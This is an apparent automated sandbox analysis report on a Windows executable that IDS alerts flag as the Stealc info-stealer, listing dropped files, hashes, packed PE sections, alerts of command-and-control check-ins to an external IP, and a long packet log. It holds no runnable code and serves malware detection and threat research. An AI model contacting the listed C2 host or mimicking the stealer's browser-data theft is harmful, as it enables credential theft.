Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946724914324684
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'825'792 bytes
MD5:	3a3583ca7503b6effbff20f498f3ebb4
SHA1:	43992582de1e5bd313cc56e303bf433feeddc6a3
SHA256:	078030ac66f4c1e89adb7143358b316e27dc10ea0abd5d5c7364fb6c2f0c8c3b
SHA512:	b8ab3e676e07ebce6dd0f7ec34c291bc981ee485a69a45013484578b189102561b51a36f3cd598b708494204d83bfa6047a9af7be8066a7281780b18f069a3b6
SSDEEP:	49152:gq2ANMQlW/+Mcg/dFscCRWbln0isnUU2UzFPqKkAQrU:92IMZGMj/fsVRmJw5yqIU
TLSH:	68853381B2ACBF37C825E53E7459EB62971D5CEA820A393F720F40B9982A7147FD7450
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa8e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDA8CC75D3Ah

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	980be0962ad5e1f011f8a5e8ba392de6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x297000	0x200	5571c4eb5d37ef1bd05ad10c60a6ba22	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
njaoxwad	0x4f5000	0x198000	0x197800	babb2fb28345b2132124d597a2d1dc95	False	0.9948439896472393	data	7.953810416570519	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
wxwvdadu	0x68d000	0x1000	0x600	9e74a2e5c5728db2dffd1830705b2748	False	0.5579427083333334	data	4.863422015124819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x68e000	0x3000	0x2200	f54bf6b5291c0146275e69415825853c	False	0.039751838235294115	DOS executable (COM)	0.3043556323440637	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-23T15:48:08.711240+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:08.997555+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:09.008891+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-23T15:48:09.288935+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:09.296632+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.4	49730	TCP
2024-10-23T15:48:10.560349+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:11.119738+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:18.610412+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:19.881051+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:20.503242+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:20.996796+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:22.186615+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP
2024-10-23T15:48:22.616983+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.4	49730	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2024 15:48:07.488773108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:07.494460106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:07.494565964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:07.501368999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:07.506784916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:08.404520035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:08.404583931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:08.407608986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:08.413113117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:08.711138010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:08.711240053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:08.712409973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:08.718185902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:08.997468948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:08.997555017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:08.998148918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:08.998203993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:08.999479055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.008891106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.288851976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.288893938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.288933992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.288934946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.288968086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.288971901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.288971901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.289002895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.289011955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.289037943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.289048910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.289079905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.289257050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.289288044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.289302111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.289330006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.289413929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.289458990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.291232109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.296632051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.575496912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.575602055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.756848097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.756896019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:09.762412071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.762453079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.762578011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.762609005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.762640953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:09.762669086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:10.560290098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:10.560348988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:10.836374044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:10.841979980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119204998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119277954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119297981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119343996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119365931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119383097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119400978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119417906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119437933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.119738102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.120033026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.120094061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.120131016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.120167971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.120327950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.120327950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277101040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277126074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277143002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277173996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277200937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277225971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277241945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277257919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277267933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277290106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277631044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277676105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277683020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277720928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277924061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277940035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277962923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277971983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277980089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.277991056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.277997971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.278028011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.278028011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.278038979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.278942108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.278959036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.278975964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.278990984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.278995037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.279006958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.279014111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.279040098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.279069901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.279658079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.279674053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.279689074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.279707909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.279712915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.279728889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.279733896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.279751062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.279781103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.280704021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.280719042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.280733109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.280756950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.280782938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437011003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437056065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437083960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437108040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437114000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437158108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437170029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437205076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437223911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437241077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437242985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437277079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437283993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437315941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437321901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437357903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437603951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437653065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437800884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437853098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437858105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437889099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437895060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437922955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437932014 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.437958956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.437963963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.438002110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.438544035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.438591003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.438592911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.438628912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.438637018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.438663006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.438669920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.438708067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.438716888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.438750982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.438760042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.438792944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.439438105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.439485073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.439491034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.439527988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.439534903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.439563036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.439569950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.439598083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.439604998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.439634085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.439639091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.439677954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.440351963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.440398932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.440402985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.440438986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.440448999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.440471888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.440479994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.440507889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.440517902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.440545082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.440550089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.440593958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.441315889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.441359043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.441360950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.441401005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.441412926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.441447020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.441457987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.441488028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.441504002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.441540003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.441554070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.441585064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.442200899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.442248106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.442253113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.442290068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.442298889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.442323923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.442332029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.442359924 CEST	80	49730	185.215.113.37	192.168.2.4
